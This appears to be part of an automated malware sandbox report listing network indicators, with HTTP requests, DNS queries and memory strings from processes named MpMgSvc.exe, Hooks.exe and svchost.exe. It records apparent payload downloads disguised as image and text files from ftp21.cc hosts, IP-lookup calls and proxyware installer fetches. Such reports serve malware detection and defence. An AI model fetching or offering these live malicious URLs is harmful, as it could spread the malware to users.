Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.108.226
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.108.226
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.108.226
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.108.226
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 27_2_10009B7E InternetOpenA,InternetOpenUrlA,HttpQueryInfoA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

27_2_10009B7E

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=hMWk29vbXHue1xR&MD=M38LKxYs HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=hMWk29vbXHue1xR&MD=M38LKxYs HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /resolve HTTP/1.1Host: blnc.traffmonetizer.com
Source: global traffic	HTTP traffic detected: GET /resolve HTTP/1.1Host: blnc.traffmonetizer.com
Source: global traffic	HTTP traffic detected: GET /resolve HTTP/1.1Host: blnc.traffmonetizer.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /downloads/latest HTTP/1.1Host: data.traffmonetizer.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /downloads/Installer.exe HTTP/1.1Host: data.traffmonetizer.com
Source: global traffic	HTTP traffic detected: GET /MpMgSvc.dll HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: hook.ftp21.ccConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /MpMgSvc.jpg HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: hook.ftp21.ccConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Hooks.jpg HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: hook.ftp21.ccConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /dyndns/getip HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: zh-cnReferer: http://118.184.169.48/dyndns/getipUser-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)Host: 118.184.169.48
Source: global traffic	HTTP traffic detected: GET /api.php?query=8.46.123.33&co=&resource_id=6006&oe=utf8 HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: zh-cnUser-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)Host: 45.113.194.189
Source: global traffic	HTTP traffic detected: GET /64.jpg HTTP/1.1User-Agent: HTTPREADHost: ssl.ftp21.ccCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /Update.txt HTTP/1.1User-Agent: HTTPREADHost: down.ftp21.ccCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: members.3322.org
Source: global traffic	DNS traffic detected: DNS query: opendata.baidu.com
Source: global traffic	DNS traffic detected: DNS query: www.362-com.com
Source: global traffic	DNS traffic detected: DNS query: www.4i7i.com
Source: global traffic	DNS traffic detected: DNS query: ssl.ftp21.cc
Source: global traffic	DNS traffic detected: DNS query: api.iproyal.com
Source: global traffic	DNS traffic detected: DNS query: gtxvdqvuweqs.com
Source: global traffic	DNS traffic detected: DNS query: blnc.traffmonetizer.com
Source: global traffic	DNS traffic detected: DNS query: srv-us4.traffmonetizer.com
Source: global traffic	DNS traffic detected: DNS query: down.ftp21.cc
Source: global traffic	DNS traffic detected: DNS query: srv-us2.traffmonetizer.com
Source: global traffic	DNS traffic detected: DNS query: srv-us13.traffmonetizer.com
Source: global traffic	DNS traffic detected: DNS query: srv-us22.traffmonetizer.com
Source: global traffic	DNS traffic detected: DNS query: data.traffmonetizer.com
Source: global traffic	DNS traffic detected: DNS query: srv-us16.traffmonetizer.com
Source: global traffic	DNS traffic detected: DNS query: downloads.traffmonetizer.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 1308Content-Type: text/htmlServer: Microsoft-IIS/6.0Date: Sat, 06 Jul 2024 12:09:50 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e ce de b7 a8 d5 d2 b5 bd b8 c3 d2 b3 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 47 42 32 33 31 32 22 3e 0d 0a 3c 53 54 59 4c 45 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 42 4f 44 59 20 7b 20 66 6f 6e 74 3a 20 39 70 74 2f 31 32 70 74 20 cb ce cc e5 20 7d 0d 0a 20 20 48 31 20 7b 20 66 6f 6e 74 3a 20 31 32 70 74 2f 31 35 70 74 20 cb ce cc e5 20 7d 0d 0a 20 20 48 32 20 7b 20 66 6f 6e 74 3a 20 39 70 74 2f 31 32 70 74 20 cb ce cc e5 20 7d 0d 0a 20 20 41 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 72 65 64 20 7d 0d 0a 20 20 41 3a 76 69 73 69 74 65 64 20 7b 20 63 6f 6c 6f 72 3a 20 6d 61 72 6f 6f 6e 20 7d 0d 0a 3c 2f 53 54 59 4c 45 3e 0d 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 3c 54 41 42 4c 45 20 77 69 64 74 68 3d 35 30 30 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 31 30 3e 3c 54 52 3e 3c 54 44 3e 0d 0a 0d 0a 3c 68 31 3e ce de b7 a8 d5 d2 b5 bd b8 c3 d2 b3 3c 2f 68 31 3e 0d 0a c4 fa d5 fd d4 da cb d1 cb f7 b5 c4 d2 b3 c3 e6 bf c9 c4 dc d2 d1 be ad c9 be b3 fd a1 a2 b8 fc c3 fb bb f2 d4 dd ca b1 b2 bb bf c9 d3 c3 a1 a3 0d 0a 3c 68 72 3e 0d 0a 3c 70 3e c7 eb b3 a2 ca d4 d2 d4 cf c2 b2 d9 d7 f7 a3 ba 3c 2f 70 3e 0d 0a 3c 75 6c 3e 0d 0a 3c 6c 69 3e c8 b7 b1 a3 e4 af c0 c0 c6 f7 b5 c4 b5 d8 d6 b7 c0 b8 d6 d0 cf d4 ca be b5 c4 cd f8 d5 be b5 d8 d6 b7 b5 c4 c6 b4 d0 b4 ba cd b8 f1 ca bd d5 fd c8 b7 ce de ce f3 a1 a3 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e c8 e7 b9 fb cd a8 b9 fd b5 a5 bb f7 c1 b4 bd d3 b6 f8 b5 bd b4 ef c1 cb b8 c3 cd f8 d2 b3 a3 ac c7 eb d3 eb cd f8 d5 be b9 dc c0 ed d4 b1 c1 aa cf b5 a3 ac cd a8 d6 aa cb fb c3 c7 b8 c3 c1 b4 bd d3 b5 c4 b8 f1 ca bd b2 bb d5 fd c8 b7 a1 a3 0d 0a 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e b5 a5 bb f7 3c 61 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 68 69 73 74 6f 72 79 2e 62 61 63 6b 28 31 29 22 3e ba f3 cd cb 3c 2f 61 3e b0 b4 c5 a5 b3 a2 ca d4 c1 ed d2 bb b8 f6 c1 b4 bd d3 a1 a3 3c 2f 6c 69 3e 0d 0a 3c 2f 75 6c 3e 0d 0a 3c 68 32 3e 48 54 54 50 20 b4 ed ce f3 20 34 30 34 20 2d 20 ce c4 bc fe bb f2 c4 bf c2 bc ce b4 d5 d2 b5 bd a1 a3 3c 62 72 3e 49 6e 74 65 72 6e 65 74 20 d0 c5 cf a2 b7 fe ce f1 20 28 49 49 53 29 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 0d 0a 3c 70 3e bc bc ca f5 d0 c5 cf a2 a3 a8 ce aa bc bc ca f5 d6 a7 b3 d6 c8 cb d4 b1 cc e1 b9 a9 a3 a9 3c 2f 70 3e 0d 0a 3c 75 6c 3e 0d 0a 3c 6c 69 3e d7 aa b5 bd 20 3c 61 20 68 72 65 66 3d 22 68

Source: MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://&co=&resource_id=6006&oe=utf8/api.php?query=
Source: MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://2024.ip138.com
Source: MpMgSvc.exe, 00000015.00000003.3489852982.00000000010CC000.00000004.00000020.00020000.00000000.sdmp, MpMgSvc.exe, 00000015.00000003.3488791845.00000000010B7000.00000004.00000020.00020000.00000000.sdmp, MpMgSvc.exe, 00000015.00000003.3764343426.00000000010DA000.00000004.00000020.00020000.00000000.sdmp, MpMgSvc.exe, 00000015.00000002.4106764127.00000000010DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.113.194.189/api.php?query=8.46.123.33
Source: MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://Down.ftp2
Source: MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://Down.ftp2Z
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0
Source: Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersignroot.html0
Source: Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html0
Source: Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://crl.certigna.fr/certignarootca.crl01
Source: Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersignroot.crl0
Source: Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersroot.crl0
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl0
Source: Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crl0
Source: Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl0
Source: Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://crls.ssl.com/SSL.com-timeStamping-I-RSA-R1.crl0
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://crls.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.crl0
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://crls.ssl.com/ssl.com-rsa-RootCA.crl0
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: svchost.exe, 0000001B.00000002.4096226439.0000000002E2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://down.ftp21.cc/Updat
Source: svchost.exe, 0000001B.00000002.4096226439.0000000002E2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://down.ftp21.cc/Update.t
Source: svchost.exe, 0000001B.00000002.4097132664.0000000002E6C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.4095973569.0000000002E12000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://down.ftp21.cc/Update.txt
Source: svchost.exe, 0000001B.00000002.4096226439.0000000002E52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://down.ftp21.cc/Update.txtppPatch
Source: svchost.exe, 0000001B.00000002.4096226439.0000000002E2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://down.ftp21.cc/Updatep
Source: MpMgSvc.exe, 00000015.00000002.4112569602.0000000003BDC000.00000004.00000020.00020000.00000000.sdmp, MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://internalhost.eu
Source: MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ip.360.cn/IPShare/info
Source: MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ip.360.cn/IPShare/infohttp://2024.ip138.comhttp://www.cip.cc
Source: MpMgSvc.exe, MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://members.3322.org/dyndns/getip
Source: MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://members.3322.org/dyndns/getiptaskkill
Source: Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://ocsp.accv.es0
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://ocsps.ssl.com0
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://ocsps.ssl.com0?
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://ocsps.ssl.com0G
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://ocsps.ssl.com0_
Source: Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://policy.camerfirma.com0
Source: MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://purl.oclc.org/dsdl/schematron
Source: MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://relaxng.org/ns/structure/1.0
Source: MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: http://relaxng.org/ns/structure/1.0allocating
Source: Hooks.exe, 0000001A.00000001.2163599278.0000000000831000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://repository.swisssign.com/0
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000000422000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: svchost.exe, 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: svchost.exe, 0000001B.00000002.4096226439.0000000002E2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.4097132664.0000000002E6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ssl.ftp21.cc/64.jpg
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://sslcom.crl.certum.pl/ctnca.crl0s
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://sslcom.ocsp-certum.com08
Source: Hooks.exe, 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp, svchost.exe, 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://sslcom.repository.certum.pl/ctnca.cer0:
